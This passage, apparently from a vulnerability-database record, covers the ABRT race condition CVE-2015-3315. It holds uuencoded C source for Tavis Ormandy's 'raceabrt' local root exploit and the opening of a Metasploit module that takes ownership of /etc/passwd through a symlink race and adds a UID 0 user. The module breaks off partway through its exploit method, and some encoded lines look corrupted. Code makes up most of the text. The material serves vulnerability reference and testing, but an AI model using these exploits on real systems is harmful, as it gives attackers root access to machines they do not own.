\nM('L*\"B`@(\"`@(\"`@(\"`@(\"\\O($EN:70@*'!I9\"`Q*2!S:6=N86P@:&%N9&QI \nM;F<@:7,@<W!E8VEA;\"P@<V\\@;6%K92!A('-U8G!R;V-E<W,@=&\\*(\"`@(\"`@ \nM(\"`@(\"`@+R\\@:&%N9&QE('1H92!T<F%P<RX*(\"`@(\"`@(\"`@(\"`@:68@*\"AS \nM=6)P<F]C97-S(#T@9F]R:R@I*2`]/2`P*2![\"B`@(\"`@(\"`@(\"`@(\"`@(\"`O \nM+R!#:&%N9V4@+W!R;V,O<V5L9B]R;V]T+\"!W:&EC:\"!W92!C86X@9&\\@87,@ \nM=V4G<F4@<')I=FEL96=E9`H@(\"`@(\"`@(\"`@(\"`@(\"`@+R\\@=VET:&EN('1H \nM92!N97<@;F%M97!A8V4N\"B`@(\"`@(\"`@(\"`@(\"`@(\"!I9B`H8VAR;V]T*\")E \nM>'!L;VET(BD@(3T@,\"D@>PH@(\"`@(\"`@(\"`@(\"`@(\"`@(\"`@(&5R<BA%6$E4 \nM7T9!24Q54D4L(\")C:')O;W0@9&ED;G0@=V]R:R(I.PH@(\"`@(\"`@(\"`@(\"`@ \nM(\"`@?0H*(\"`@(\"`@(\"`@(\"`@(\"`@(\"\\O($YO=R!T<F%P('1O(&=E=\"!T:&4@ \nM8V]R92!H86YD;&5R(&EN=F]K960N\"B`@(\"`@(\"`@(\"`@(\"`@(\"!?7V)U:6QT \nM:6Y?=')A<\"@I.PH*(\"`@(\"`@(\"`@(\"`@(\"`@(\"\\O(%-H;W5L9&XG=\"!H87!P \nM96XL('5N;&5S<R!U<V5R(&ES('!T<F%C:6YG('5S(&]R('-O;65T:&EN9RX* \nM(\"`@(\"`@(\"`@(\"`@(\"`@(&5R<BA%6$E47T9!24Q54D4L(\")C;W)E9'5M<\"!F \nM86EL960L('=E<F4@>6]U('!T<F%C:6YG/R(I.PH@(\"`@(\"`@(\"`@(\"!]\"@H@ \nM(\"`@(\"`@(\"`@(\"`O+R!)9B!T:&4@<W5B<')O8V5S<R!E>&ET960@=VET:\"!A \nM;B!A8FYO<FUA;\"!S:6=N86PL('1H96X@979E<GET:&EN9R!W;W)K960N\"B`@ \nM(\"`@(\"`@(\"`@(&EF(\"AW86ET<&ED*'-U8G!R;V-E<W,L(\"9S=&%T=7,L(#`I \nM(#T]('-U8G!R;V-E<W,I(\"`@(`H@(\"`@(\"`@(\"`@(\"`@(\"`@<F5T=7)N(%=) \nM1E-)1TY!3$5$*'-T871U<RD*(\"`@(\"`@(\"`@(\"`@(\"`@(\"`@(\"`@(\"`@/R!% \nM6$E47U-50T-%4U,*(\"`@(\"`@(\"`@(\"`@(\"`@(\"`@(\"`@(\"`@.B!%6$E47T9! \nM24Q54D4[\"@H@(\"`@(\"`@(\"`@(\"`O+R!3;VUE=&AI;F<@9&ED;B=T('=O<FLN \nM\"B`@(\"`@(\"`@(\"`@(')E='5R;B!%6$E47T9!24Q54D4[\"B`@(\"`@(\"`@?0H* \nM(\"`@(\"`@(\"`O+R!4:&4@;F5W(&YA;65S<&%C92!D:61N)W0@=V]R:RX*(\"`@ \nM(\"`@(\"!I9B`H=V%I='!I9\"AI;FET+\"`F<W1A='5S+\"`P*2`]/2!I;FET*0H@ \nM(\"`@(\"`@(\"`@(\"!R971U<FX@5TE&15A)5$5$*'-T871U<RD@)B8@5T582513 \nM5$%455,H<W1A='5S*2`]/2!%6$E47U-50T-%4U,*(\"`@(\"`@(\"`@(\"`@(\"`@ \nM(\"`@(\"`_($58251?4U5#0T534PH@(\"`@(\"`@(\"`@(\"`@(\"`@(\"`@(#H@15A) \nM5%]&04E,55)%.PH*(\"`@(\"`@(\"`O+R!786ET<&ED(&9A:6QU<F4N\"B`@(\"`@ \nM(\"`@<F5T=7)N($58251?1D%)3%5213L*(\"`@('T*\"B`@(\"`O+R!)9B!T:&4@ \nM<W5B<')O8V5S<R!R971U<FYE9\"!S8V-E<W,L('1H92!E>'!L;VET('!R;V)A \nM8FQY('=O<FME9\"P@<F5L;V%D\"B`@(\"`O+R!W:71H(&5U:60@>F5R;RX*(\"`@ \nM(&EF(\"AW86ET<&ED*'=R87!P97(L(\"9S=&%T=7,L(#`I(#T]('=R87!P97(I \nM('L*(\"`@(\"`@(\"`O+R!!;&P@9&]N92P@<W!A=VX@<F]O=\"!S:&5L;\"X*(\"`@ \nM(\"`@(\"!I9B`H5TE&15A)5$5$*'-T871U<RD@)B8@5T5825135$%455,H<W1A \nM='5S*2`]/2`P*2![\"B`@(\"`@(\"`@(\"`@(&5X96-L*\"IA<F=V+\"`B=S`P=\"(L \nM($Y53$PI.PH@(\"`@(\"`@('T*(\"`@('T*\"B`@(\"`O+R!5;FMN;W=N(&5R<F]R \nM+@H@(\"`@97)R>\"A%6$E47T9!24Q54D4L(\")U;F5X<&5C=&5D(')E<W5L=\"P@ \n58V%N;F]T(&-O;G1I;G5E(BD[\"GT* \n` \nend \n \nbegin 644 raceabrt.c \nM(VEN8VQU9&4@/'-T9&QI8BYH/@HC:6YC;'5D92`\\=6YI<W1D+F@^\"B-I;F-L \nM=61E(#QS=&1B;V]L+F@^\"B-I;F-L=61E(#QS=&1I;RYH/@HC:6YC;'5D92`\\ \nM<VEG;F%L+F@^\"B-I;F-L=61E(#QE<G(N:#X*(VEN8VQU9&4@/'-T<FEN9RYH \nM/@HC:6YC;'5D92`\\86QL;V-A+F@^\"B-I;F-L=61E(#QL:6UI=',N:#X*(VEN \nM8VQU9&4@/'-Y<R]I;F]T:69Y+F@^\"B-I;F-L=61E(#QS>7,O<')C=&PN:#X* \nM(VEN8VQU9&4@/'-Y<R]T>7!E<RYH/@HC:6YC;'5D92`\\<WES+W1Y<&5S+F@^ \nM\"B-I;F-L=61E(#QS>7,O=V%I=\"YH/@HC:6YC;'5D92`\\<WES+W-T870N:#X* \nM\"B\\O\"B\\O(%1H:7,@:7,@82!R86-E(&-O;F1I=&EO;B!E>'!L;VET(&9O<B!# \nM5D4M,C`Q-2TQ.#8R+\"!T87)G971I;F<@1F5D;W)A+@HO+PHO+R!.;W1E.B!) \nM=\"!C86X@=&%K92!A(&9E=R!M:6YU=&5S('1O('=I;B!T:&4@<F%C92!C;VYD \nM:71I;VXN\"B\\O\"B\\O(\"`@+2T@=&%V:7-O0&-M<'AC:&<X8BYC;VTL($%P<FEL \nM(#(P,34N\"B\\O\"B\\O(\"0@8V%T(\"]E=&,O9F5D;W)A+7)E;&5A<V4@\"B\\O($9E \nM9&]R82!R96QE87-E(#(Q(\"A4=V5N='D@3VYE*0HO+R`D(\"XO82YO=70@+V5T \nM8R]P87-S=V0*+R\\@6R!W86ET(&$@9F5W(&UI;G5T97,@70HO+R!$971E8W1E \nM9\"!C8W!P+3(P,34M,#0M,3,M,C$Z-30Z-#,M,30Q.#,N;F5W+\"!A='1E;7!T \nM:6YG('1O(')A8V4N+BX*+R\\@(\"`@($1I9&XG=\"!W:6XL('1R>6EN9R!A9V%I \nM;B$*+R\\@1&5T96-T960@8V-P<\"TR,#$U+3`T+3$S+3(Q.C4T.C0S+3$T,3@V \nM+FYE=RP@871T96UP=&EN9R!T;R!R86-E+BXN\"B\\O(\"`@(\"!$:61N)W0@=VEN \nM+\"!T<GEI;F<@86=A:6XA\"B\\O($1E=&5C=&5D(&-C<'`M,C`Q-2TP-\"TQ,RTR \nM,3HU-#HT,RTQ-#$Y,2YN97<L(&%T=&5M<'1I;F<@=&\\@<F%C92XN+@HO+R`@ \nM(\"`@1&ED;B=T('=I;BP@=')Y:6YG(&%G86EN(0HO+R!$971E8W1E9\"!C8W!P \nM+3(P,34M,#0M,3,M,C$Z-30Z-#,M,30Q.34N;F5W+\"!A='1E;7!T:6YG('1O \nM(')A8V4N+BX*+R\\@(\"`@($1I9&XG=\"!W:6XL('1R>6EN9R!A9V%I;B$*+R\\@ \nM1&5T96-T960@8V-P<\"TR,#$U+3`T+3$S+3(Q.C4T.C0S+3$T,3DX+FYE=RP@ \nM871T96UP=&EN9R!T;R!R86-E+BXN\"B\\O(\"`@(\"!%>'!L;VET('-U8V-E<W-F \nM=6PN+BX*+R\\@+7)W+7(M+7(M+2X@,2!T879I<V\\@86)R=\"`Q-S4Q(%-E<\"`R \nM-B`@,C`Q-\"`O971C+W!A<W-W9`HO+PH*<W1A=&EC(&-O;G-T(&-H87(@:T%B \nM<G10<F5F:7A;72`](\"(O=F%R+W1M<\"]A8G)T+R([\"G-T871I8R!C;VYS=\"!S \nM:7IE7W0@:TUA>$5V96YT0G5F(#T@.#$Y,CL*<W1A=&EC(&-O;G-T('-I>F5? \nM=\"!K56YL:6YK071T96UP=',@/2`X,3DR(\"H@,CL*<W1A=&EC(&-O;G-T(&EN \nM=\"!K0W)A<VA$96QA>2`](#$P,#`P.PH*<W1A=&EC('!I9%]T(&-R96%T95]A \nM8G)T7V5V96YT<RAC;VYS=\"!C:&%R(\"IN86UE*3L*\"FEN=\"!M86EN*&EN=\"!A \nM<F=C+\"!C:&%R(\"HJ87)G=BD*>PH@(\"`@:6YT(&9D+\"!I.PH@(\"`@:6YT('=A \nM=&-H.PH@(\"`@<&ED7W0@8VAI;&0[\"B`@(\"!S=')U8W0@<W1A=\"!S=&%T8G5F \nM.PH@(\"`@<W1R=6-T(&EN;W1I9GE?979E;G0@*F5V.PH@(\"`@8VAA<B`J979E \nM;G1B=68@/2!A;&QO8V$H:TUA>$5V96YT0G5F*3L*(\"`@('-S:7IE7W0@<VEZ \nM93L*\"B`@(\"`O+R!&:7)S=\"!A<F=U;65N=\"!I<R!T:&4@9FEL96YA;64@=7-E \nM<B!W86YT<R!U<R!T;R!C:&]W;B@I+@H@(\"`@:68@*&%R9V,@(3T@,BD@>PH@ \nM(\"`@(\"`@(&5R<G@H15A)5%]&04E,55)%+\"`B<&QE87-E('-P96-I9GD@9FEL \nM96YA;64@=&\\@8VAO=VX@*&4N9RX@+V5T8R]P87-S=V0I(BD[\"B`@(\"!]\"@H@ \nM(\"`@+R\\@5&AI<R!I<R!R97%U:7)E9\"!A<R!W92!N965D('1O(&UA:V4@9&EF \nM9F5R96YT(&-O;6T@;F%M97,@=&\\@879O:60*(\"`@(\"\\O('1R:6=G97)I;F<@ \nM86)R=\"!R871E(&QI;6ET:6YG+\"!S;R!W92!F;W)K*\"DO97AE8W9E*\"D@9&EF \nM9F5R96YT(&YA;65S+@H@(\"`@:68@*'-T<F-M<\"AA<F=V6S%=+\"`B8W)A<V@B \nM*2`]/2`P*2![\"B`@(\"`@(\"`@7U]B=6EL=&EN7W1R87`H*3L*(\"`@('T*\"B`@ \nM(\"`O+R!3971U<\"!I;F]T:69Y+\"!A;F0@861D(&$@=V%T8V@@;VX@=&AE(&%B \nM<G0@9&ER96-T;W)Y+@H@(\"`@:68@*\"AF9\"`](&EN;W1I9GE?:6YI=\"@I*2`\\ \nM(#`I('L*(\"`@(\"`@(\"!E<G(H15A)5%]&04E,55)%+\"`B=6YA8FQE('1O(&EN \nM:71I86QI>F4@:6YO=&EF>2(I.PH@(\"`@?0H*(\"`@(&EF(\"@H=V%T8V@@/2!I \nM;F]T:69Y7V%D9%]W871C:\"AF9\"P@:T%B<G10<F5F:7@L($E.7T-214%412DI \nM(#P@,\"D@>PH@(\"`@(\"`@(&5R<BA%6$E47T9!24Q54D4L(\")F86EL960@=&\\@ \nM8W)E871E(&YE=R!W871C:\"!D97-C<FEP=&]R(BD[\"B`@(\"!]\"@H@(\"`@+R\\@ \nM4W1A<G0@8V%U<VEN9R!C<F%S:&5S('-O('1H870@86)R=\"!G96YE<F%T97,@ \nM<F5P;W)T<RX*(\"`@(&EF(\"@H8VAI;&0@/2!C<F5A=&5?86)R=%]E=F5N=',H \nM*F%R9W8I*2`]/2`M,2D@>PH@(\"`@(\"`@(&5R<BA%6$E47T9!24Q54D4L(\")F \nM86EL960@=&\\@9V5N97)A=&4@86)R=\"!R97!O<G1S(BD[\"B`@(\"!]\"@H@(\"`@ \nM+R\\@3F]W('-T87)T('!R;V-E<W-I;F<@:6YO=&EF>2!E=F5N=',N\"B`@(\"!W \nM:&EL92`H*'-I>F4@/2!R96%D*&9D+\"!E=F5N=&)U9BP@:TUA>$5V96YT0G5F \nM*2D@/B`P*2![\"@H@(\"`@(\"`@(\"\\O(%=E(&-A;B!R96-E:79E(&UU;'1I<&QE \nM(&5V96YT<R!P97(@<F5A9\"P@<V\\@8VAE8VL@96%C:\"!O;F4N\"B`@(\"`@(\"`@ \nM9F]R(\"AE=B`](&5V96YT8G5F.R!E=B`\\(&5V96YT8G5F(\"L@<VEZ93L@978@ \nM/2`F978M/FYA;65;978M/FQE;ETI('L*(\"`@(\"`@(\"`@(\"`@8VAA<B!D:7)N \nM86UE6TY!345?34%873L*(\"`@(\"`@(\"`@(\"`@8VAA<B!M87!S;F%M95M.04U% \nM7TU!6%T[\"B`@(\"`@(\"`@(\"`@(&-H87(@8V]M;6%N9%LQ,#(T73L*\"B`@(\"`@ \nM(\"`@(\"`@(\"\\O($EF('1H:7,@:7,@82!N97<@8V-P<\"!R97!O<G0L('=E(&-A \nM;B!S=&%R=\"!T<GEI;F<@=&\\@<F%C92!I=\"X*(\"`@(\"`@(\"`@(\"`@:68@*'-T \nM<FYC;7`H978M/FYA;64L(\")C8W!P(BP@-\"D@(3T@,\"D@>PH@(\"`@(\"`@(\"`@ \nM(\"`@(\"`@8V]N=&EN=64[\"B`@(\"`@(\"`@(\"`@('T*\"B`@(\"`@(\"`@(\"`@(\"\\O \nM($-O;G-T<G5C=\"!P871H;F%M97,N\"B`@(\"`@(\"`@(\"`@('-T<FYC<'DH9&ER \nM;F%M92P@:T%B<G10<F5F:7@L('-I>F5O9B!D:7)N86UE*3L*(\"`@(\"`@(\"`@ \nM(\"`@<W1R;F-A=\"AD:7)N86UE+\"!E=BT^;F%M92P@<VEZ96]F(&1I<FYA;64I \nM.PH*(\"`@(\"`@(\"`@(\"`@<W1R;F-P>2AM87!S;F%M92P@9&ER;F%M92P@<VEZ \nM96]F(&1I<FYA;64I.PH@(\"`@(\"`@(\"`@(\"!S=')N8V%T*&UA<'-N86UE+\"`B \nM+VUA<',B+\"!S:7IE;V8@;6%P<VYA;64I.PH*(\"`@(\"`@(\"`@(\"`@9G!R:6YT \nM9BAS=&1E<G(L(\")$971E8W1E9\"`E<RP@871T96UP=&EN9R!T;R!R86-E+BXN \nM7&XB+\"!E=BT^;F%M92D[\"@H@(\"`@(\"`@(\"`@(\"`O+R!#:&5C:R!I9B!W92!N \nM965D('1O('=A:70@9F]R('1H92!N97AT(&5V96YT(&]R(&YO=\"X*(\"`@(\"`@ \nM(\"`@(\"`@=VAI;&4@*&%C8V5S<RAD:7)N86UE+\"!&7T]+*2`]/2`P*2A8V4L(&YO=R!A='1E;7!T('1O('=I;B!T:&4*(\"`@(\"`@(\"`@(\"`@ \nM(\"`@(\"`@(\"`O+R!S96-O;F0@<F%C92XN+BX*(\"`@(\"`@(\"`@(\"`@(\"`@(\"`@ \nM(\"!I9B`H<WEM;&EN:RAA<F=V6S%=+\"!M87!S;F%M92D@(3T@,\"D@>PH@(\"`@ \nM(\"`@(\"`@(\"`@(\"`@(\"`@(\"`@(\"!B<F5A:SL*(\"`@(\"`@(\"`@(\"`@(\"`@(\"`@ \nM(\"!]\"@H@(\"`@(\"`@(\"`@(\"`@(\"`@(\"`@(\"\\O(%1H:7,@;&]O:W,@9V]O9\"P@ \nM8G5T(&1O97-N)W0@;65A;B!W92!W;VXL(&ET)W,@<&]S<VEB;&4*(\"`@(\"`@ \nM(\"`@(\"`@(\"`@(\"`@(\"`O+R!C:&]W;B@I(&UI9VAT(&AA=F4@:&%P<&5N960@ \nM=VAI;&4@=&AE(&9I;&4@=V%S('5N;&EN:V5D+@H@(\"`@(\"`@(\"`@(\"`@(\"`@ \nM(\"`@(\"\\O\"B`@(\"`@(\"`@(\"`@(\"`@(\"`@(\"`@+R\\@1VEV92!I=\"!A(&9E=R!M \nM:6-R;W-E8V]N9',@=&\\@<G5N(&-H;W=N*\"DN+BYJ=7-T(&EN(&-A<V4*(\"`@ \nM(\"`@(\"`@(\"`@(\"`@(\"`@(\"`O+R!W92!D:60@=VEN+@H@(\"`@(\"`@(\"`@(\"`@ \nM(\"`@(\"`@('5S;&5E<\"@Q,\"D[\"@H@(\"`@(\"`@(\"`@(\"`@(\"`@(\"`@(&EF(\"AS \nM=&%T*&%R9W9;,5TL(\"9S=&%T8G5F*2`A/2`P*2![\"B`@(\"`@(\"`@(\"`@(\"`@ \nM(\"`@(\"`@(\"`@(&5R<G@H15A)5%]&04E,55)%+\"`B=6YA8FQE('1O('-T870@ \nM=&%R9V5T(&9I;&4@)7,B+\"!A<F=V6S%=*3L*(\"`@(\"`@(\"`@(\"`@(\"`@(\"`@ \nM(\"!]\"@H@(\"`@(\"`@(\"`@(\"`@(\"`@(\"`@(&EF(\"AS=&%T8G5F+G-T7W5I9\"`A \nM/2!G971U:60H*2D@>PH@(\"`@(\"`@(\"`@(\"`@(\"`@(\"`@(\"`@(\"!B<F5A:SL* \nM(\"`@(\"`@(\"`@(\"`@(\"`@(\"`@(\"!]\"@H@(\"`@(\"`@(\"`@(\"`@(\"`@(\"`@(&9P \nM<FEN=&8H<W1D97)R+\"`B7'1%>'!L;VET('-U8V-E<W-F=6PN+BY<;B(I.PH* \nM(\"`@(\"`@(\"`@(\"`@(\"`@(\"`@(\"`O+R!792=R92!T:&4@;F5W(&]W;F5R+\"!R \nM=6X@;',@+6P@=&\\@<VAO=R!U<V5R+@H@(\"`@(\"`@(\"`@(\"`@(\"`@(\"`@('-P \nM<FEN=&8H8V]M;6%N9\"P@(FQS(\"UL(\"5S(BP@87)G=ELQ72D[\"B`@(\"`@(\"`@ \nM(\"`@(\"`@(\"`@(\"`@<WES=&5M*&-O;6UA;F0I.PH*(\"`@(\"`@(\"`@(\"`@(\"`@ \nM(\"`@(\"!R971U<FX@15A)5%]354-#15-3.PH@(\"`@(\"`@(\"`@(\"`@(\"`@?0H@ \nM(\"`@(\"`@(\"`@(\"!]\"@H@(\"`@(\"`@(\"`@(\"!F<')I;G1F*'-T9&5R<BP@(EQT \nM1&ED;B=T('=I;BP@=')Y:6YG(&%G86EN(5QN(BD[\"B`@(\"`@(\"`@?0H@(\"`@ \nM?0H*(\"`@(&5R<BA%6$E47T9!24Q54D4L(\")F86EL960@=&\\@<F5A9\"!I;F]T \nM:69Y(&5V96YT(BD[\"GT*\"B\\O(%1H:7,@<F]U=&EN92!A='1E;7!T<R!T;R!G \nM96YE<F%T92!N97<@86)R=\"!E=F5N=',N(%=E(&-A;B=T(&IU<W0@8W)A<V@L \nM\"B\\O(&)E8V%U<V4@86)R=\"!S86YE;'D@=')I97,@=&\\@<F%T92!L:6UI=\"!R \nM97!O<G0@8W)E871I;VXL('-O('=E(&YE960@82!N97<*+R\\@8V]M;2!N86UE \nM(&9O<B!E86-H(&-R87-H+@IS=&%T:6,@<&ED7W0@8W)E871E7V%B<G1?979E \nM;G1S*&-O;G-T(&-H87(@*FYA;64I\"GL*(\"`@(&-H87(@*FYE=VYA;64[\"B`@ \nM(\"!I;G0@<W1A='5S.PH@(\"`@<&ED7W0@8VAI;&0L('!I9#L*\"B`@(\"`O+R!# \nM<F5A=&4@82!C:&EL9\"!P<F]C97-S('1O(&=E;F5R871E(&5V96YT<RX*(\"`@ \nM(&EF(\"@H8VAI;&0@/2!F;W)K*\"DI(\"$](#`I\"B`@(\"`@(\"`@<F5T=7)N(&-H \nM:6QD.PH*(\"`@(\"\\O($UA:V4@<W5R92!W92!S=&]P('=H96X@<&%R96YT(&1I \nM97,N\"B`@(\"!P<F-T;\"A04E]3151?4$1%051(4TE'+\"!324=+24Q,*3L*\"B`@ \nM(\"!W:&EL92`H=')U92D@>PH@(\"`@(\"`@(\"\\O($-H;V]S92!A(&YE=R!U;G5S \nM960@9FEL96YA;64*(\"`@(\"`@(\"!N97=N86UE(#T@=&UP;F%M*#`I.PH*(\"`@ \nM(\"`@(\"`O+R!-86ME('-U<F4@=V4G<F4@;F]T('1O;R!F87-T+@H@(\"`@(\"`@ \nM('5S;&5E<\"AK0W)A<VA$96QA>2D[\"@H@(\"`@(\"`@(\"\\O($-R96%T92!A(&YE \nM=R!C<F%S:&EN9R!S=6)P<F]C97-S+@H@(\"`@(\"`@(&EF(\"@H<&ED(#T@9F]R \nM:R@I*2`]/2`P*2F86EL960@=&\\@8W)E871E(&$@;F5W(&5X96YA;64B*3L*(\"`@(\"`@(\"`@ \nM(\"`@?0H*(\"`@(\"`@(\"`@(\"`@+R\\@17AE8W5T92!C<F%S:&EN9R!P<F]C97-S \nM+@H@(\"`@(\"`@(\"`@(\"!E>&5C;\"AN97=N86UE+\"!N97=N86UE+\"`B8W)A<V@B \nM+\"!.54Q,*3L*\"B`@(\"`@(\"`@(\"`@(\"\\O(%1H:7,@<VAO=6QD(&%L=V%Y<R!W \nM;W)K+@H@(\"`@(\"`@(\"`@(\"!E<G(H15A)5%]&04E,55)%+\"`B=6YE>'!E8W1E \nM9\"!E>&5C=F4@9F%I;'5R92(I.PH@(\"`@(\"`@('T*\"B`@(\"`@(\"`@+R\\@4F5A \nM<\"!C<F%S:&5D('-U8G!R;V-E<W,N\"B`@(\"`@(\"`@:68@*'=A:71P:60H<&ED \nM+\"`F<W1A='5S+\"`P*2`A/2!P:60I('L*(\"`@(\"`@(\"`@(\"`@97)R*$58251? \nM1D%)3%5212P@(G=A:71P:60@9F%I;'5R92(I.PH@(\"`@(\"`@('T*\"B`@(\"`@ \nM(\"`@+R\\@0VQE86X@=7`@=&AE('1E;7!O<F%R>2!N86UE+@H@(\"`@(\"`@(&EF \nM(\"AU;FQI;FLH;F5W;F%M92D@(3T@,\"D@>PH@(\"`@(\"`@(\"`@(\"!E<G(H15A) \nM5%]&04E,55)%+\"`B9F%I;&5D('1O(&-L96%N('5P(BD[\"B`@(\"`@(\"`@?0H* \nM(\"`@(\"`@(\"`O+R!-86ME('-U<F4@:70@8W)A<VAE9\"!A<R!E>'!E8W1E9\"X* \nM(\"`@(\"`@(\"!I9B`H(5=)1E-)1TY!3$5$*'-T871U<RDI('L*(\"`@(\"`@(\"`@ \nM(\"`@97)R>\"A%6$E47T9!24Q54D4L(\")S;VUE=&AI;F<@=V5N=\"!W<F]N9R(I \nG.PH@(\"`@(\"`@('T*(\"`@('T*\"B`@(\"!R971U<FX@8VAI;&0[\"GT* \n` \nend \n \n \n \n`\n", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/131429/apportabrt-issues.txt"}], "metasploit": [{"lastseen": "2022-11-03T01:35:02", "description": "This module attempts to gain root privileges on Linux systems with a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured as the crash handler. A race condition allows local users to change ownership of arbitrary files (CVE-2015-3315). This module uses a symlink attack on `/var/tmp/abrt/*/maps` to change the ownership of `/etc/passwd`, then adds a new user with UID=0 GID=0 to gain root privileges. Winning the race could take a few minutes. This module has been tested successfully on: abrt 2.1.11-12.el7 on RHEL 7.0 x86_64; abrt 2.1.5-1.fc19 on Fedora Desktop 19 x86_64; abrt 2.2.1-1.fc19 on Fedora Desktop 19 x86_64; abrt 2.2.2-2.fc20 on Fedora Desktop 20 x86_64; abrt 2.3.0-3.fc21 on Fedora Desktop 21 x86_64.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-01-16T14:52:33", "type": "metasploit", "title": "ABRT raceabrt Privilege Escalation", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-1862", "CVE-2015-3315"], "modified": "2021-10-06T12:54:51", "id": "MSF:EXPLOIT-LINUX-LOCAL-ABRT_RACEABRT_PRIV_ESC-", "href": "https://www.rapid7.com/db/modules/exploit/linux/local/abrt_raceabrt_priv_esc/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n Rank = ExcellentRanking\n\n include Msf::Post::File\n include Msf::Exploit::EXE\n include Msf::Exploit::FileDropper\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'ABRT raceabrt Privilege Escalation',\n 'Description' => %q{\n This module attempts to gain root privileges on Linux systems with\n a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured\n as the crash handler.\n\n A race condition allows local users to change ownership of arbitrary\n files (CVE-2015-3315). This module uses a symlink attack on\n `/var/tmp/abrt/*/maps` to change the ownership of `/etc/passwd`,\n then adds a new user with UID=0 GID=0 to gain root privileges.\n Winning the race could take a few minutes.\n\n This module has been tested successfully on:\n\n abrt 2.1.11-12.el7 on RHEL 7.0 x86_64;\n abrt 2.1.5-1.fc19 on Fedora Desktop 19 x86_64;\n abrt 2.2.1-1.fc19 on Fedora Desktop 19 x86_64;\n abrt 2.2.2-2.fc20 on Fedora Desktop 20 x86_64;\n abrt 2.3.0-3.fc21 on Fedora Desktop 21 x86_64.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'Tavis Ormandy', # Discovery and C exploit\n 'bcoles' # Metasploit\n ],\n 'DisclosureDate' => '2015-04-14',\n 'Platform' => [ 'linux' ],\n 'Arch' => [ ARCH_X86, ARCH_X64 ],\n 'SessionTypes' => [ 'shell', 'meterpreter' ],\n 'Targets' => [[ 'Auto', {} ]],\n 'References' => [\n [ 'CVE', '2015-3315' ],\n [ 'EDB', '36747' ],\n [ 'BID', '75117' ],\n [ 'URL', 'https://gist.github.com/taviso/fe359006836d6cd1091e' ],\n [ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],\n [ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/16/12' ],\n [ 'URL', 'https://github.com/abrt/abrt/commit/80408e9e24a1c10f85fd969e1853e0f192157f92' ],\n [ 'URL', 'https://access.redhat.com/security/cve/cve-2015-1862' ],\n [ 'URL', 'https://access.redhat.com/security/cve/cve-2015-3315' ],\n [ 'URL', 'https://access.redhat.com/articles/1415483' ],\n [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],\n [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],\n [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1218239' ]\n ],\n 'Compat' => {\n 'Meterpreter' => {\n 'Commands' => %w[\n stdapi_fs_stat\n stdapi_sys_process_execute\n ]\n }\n }\n )\n )\n register_options(\n [\n OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]),\n OptString.new('USERNAME', [ false, 'Username of new UID=0 user (default: random)', '' ])\n ]\n )\n register_advanced_options [\n OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])\n ]\n\n self.needs_cleanup = true\n end\n\n def base_dir\n datastore['WritableDir']\n end\n\n def timeout\n datastore['TIMEOUT']\n end\n\n def check\n if immutable?('/etc/passwd')\n vprint_error 'File /etc/passwd is immutable'\n return CheckCode::Safe\n end\n\n kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern'\n unless kernel_core_pattern.include? 'abrt-hook-ccpp'\n vprint_error 'System is NOT configured to use ABRT for crash reporting'\n return CheckCode::Safe\n end\n vprint_good 'System is configured to use ABRT for crash reporting'\n\n if cmd_exec('[ -d /var/spool/abrt ] && echo true').include? 'true'\n vprint_error \"Directory '/var/spool/abrt' exists. System has been patched.\"\n return CheckCode::Safe\n end\n vprint_good 'System does not appear to have been patched'\n\n unless cmd_exec('[ -d /var/tmp/abrt ] && echo true').include? 'true'\n vprint_error \"Directory '/var/tmp/abrt' does NOT exist\"\n return CheckCode::Safe\n end\n vprint_good \"Directory '/var/tmp/abrt' exists\"\n\n if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive'\n vprint_error 'abrt-ccp service NOT running'\n return CheckCode::Safe\n end\n vprint_good 'abrt-ccpp service is running'\n\n pkg_info = cmd_exec('yum list installed abrt | grep abrt').to_s\n abrt_version = pkg_info[/^abrt.*$/].to_s.split(/\\s+/)[1]\n unless abrt_version.blank?\n vprint_status \"System is using ABRT package version #{abrt_version}\"\n end\n\n CheckCode::Detected\n end\n\n def upload_and_chmodx(path, data)\n print_status \"Writing '#{path}' (#{data.size} bytes) ...\"\n rm_f path\n write_file path, data\n cmd_exec \"chmod +x '#{path}'\"\n register_file_for_cleanup path\n end\n\n def exploit\n if check != CheckCode::Detected\n fail_with Failure::NotVulnerable, 'Target is not vulnerable'\n end\n\n @chown_file = '/etc/passwd'\n\n if datastore['USERNAME'].blank?\n @username = rand_text_alpha rand(7..10)\n else\n @username = datastore['USERNAME']\n end\n\n # Upload Tavis Ormandy's raceabrt exploit:\n # - 